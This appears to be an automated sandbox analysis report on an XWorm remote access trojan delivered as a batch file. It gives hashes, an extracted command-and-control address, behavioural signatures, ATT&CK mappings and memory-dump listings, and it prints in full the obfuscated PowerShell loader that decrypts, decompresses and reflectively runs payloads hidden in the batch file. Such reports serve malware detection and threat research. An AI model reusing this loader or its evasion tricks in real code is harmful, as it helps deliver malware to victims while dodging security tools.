xworm | ad7c1c54dbc4a02faa20044c37c24478923ca1cc17989429caf059cc622eb95e

General

Target

ssssss.bat
Size

293KB
MD5

55045f48b34f00088c49b229bc07c30e
SHA1

f875cce5c12e06899b39223e040cad9f46ada1cd
SHA256

ad7c1c54dbc4a02faa20044c37c24478923ca1cc17989429caf059cc622eb95e
SHA512

549512c75fc5089cb7d4b41e3b55dde60ae253232f4ea7aed25296ebe6f16e6cc5d9fac8284240d23e060a6770514473eb29a81d5a6041ea43bf6d28f163ee7d
SSDEEP

3072:YIeH8waTPggAXw95luaeejSSb6wM7wXgfYM8J2Q3nfWvSYD5y6wHh9+nxMKi1/TM:gHbWAXnevGR6f2QvFIyD9+K/TvXum6

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

C2

149.40.62.55:60447

Attributes

Install_directory
%AppData%
install_file
System User.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4564-15-0x000001ACF49E0000-0x000001ACF49F8000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	4564	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4564	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4564	powershell.exe
4564	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4564	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 4564	4456	cmd.exe	81
PID 4456 wrote to memory of 4564	4456	cmd.exe	81

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ssssss.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nm1BOIVwFMg62nJj+FT46gafirK1QerzAciTsV/QolM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jX3hxWDIqv2IN+tBy0WraA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $eHbKp=New-Object System.IO.MemoryStream(,$param_var); $WQnGV=New-Object System.IO.MemoryStream; $ghfCO=New-Object System.IO.Compression.GZipStream($eHbKp, [IO.Compression.CompressionMode]::Decompress); $ghfCO.CopyTo($WQnGV); $ghfCO.Dispose(); $eHbKp.Dispose(); $WQnGV.Dispose(); $WQnGV.ToArray();}function execute_function($param_var,$param2_var){ $yhsic=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GuzyD=$yhsic.EntryPoint; $GuzyD.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\ssssss.bat';$KwMeq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ssssss.bat').Split([Environment]::NewLine);foreach ($hxuMo in $KwMeq) { if ($hxuMo.StartsWith(':: ')) { $ZEAAE=$hxuMo.Substring(3); break; }}$payloads_var=[string[]]$ZEAAE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_us0gpbfb.pi4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4564-0-0x00007FFAE0EE3000-0x00007FFAE0EE5000-memory.dmp

Filesize
8KB

Download
memory/4564-10-0x00007FFAE0EE0000-0x00007FFAE19A2000-memory.dmp

Filesize
10.8MB

Download
memory/4564-9-0x000001ACF4710000-0x000001ACF4732000-memory.dmp

Filesize
136KB

Download
memory/4564-11-0x00007FFAE0EE0000-0x00007FFAE19A2000-memory.dmp

Filesize
10.8MB

Download
memory/4564-12-0x00007FFAE0EE0000-0x00007FFAE19A2000-memory.dmp

Filesize
10.8MB

Download
memory/4564-13-0x000001ACF4970000-0x000001ACF4978000-memory.dmp

Filesize
32KB

Download
memory/4564-14-0x000001ACF4980000-0x000001ACF49BA000-memory.dmp

Filesize
232KB

Download
memory/4564-15-0x000001ACF49E0000-0x000001ACF49F8000-memory.dmp

Filesize
96KB

Download
memory/4564-16-0x00007FFAE0EE0000-0x00007FFAE19A2000-memory.dmp

Filesize
10.8MB

Download

Analysis

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